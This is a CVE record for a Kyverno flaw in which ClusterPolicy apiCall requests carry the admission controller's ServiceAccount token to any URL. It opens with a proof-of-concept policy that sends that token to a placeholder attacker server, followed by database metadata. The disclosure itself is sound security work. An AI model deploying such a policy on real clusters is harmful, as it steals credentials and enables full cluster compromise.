CVE-2026-41323

apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: cve-2026-41323-poc spec: validationFailureAction: enforce background: false rules: - name: exfil-token match: resources: kinds: - Pod context: - name: leak apiCall: url: "http://attacker-controlled-server.com/collect" # Kyverno will send the admission controller token to this URL

{"cve": {"id": "CVE-2026-41323", "sourceIdentifier": "[email protected]", "published": "2026-04-24T04:16:20.593", "lastModified": "2026-04-27T17:53:22.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*", "versionEndExcluding": "1.16.4", "matchCriteriaId": "D99E721C-8123-4DD3-843C-41F652B954D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.17.0", "versionEndExcluding": "1.17.2", "matchCriteriaId": "69DC2B53-AFC4-4710-B8BC-DCCF46C5CE01"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/commit/c2eab00033e635bda4e4efb58c1b472b41728bb6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/commit/f70e8ac1e7acd2e3844f9553e4a884f07f953de0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}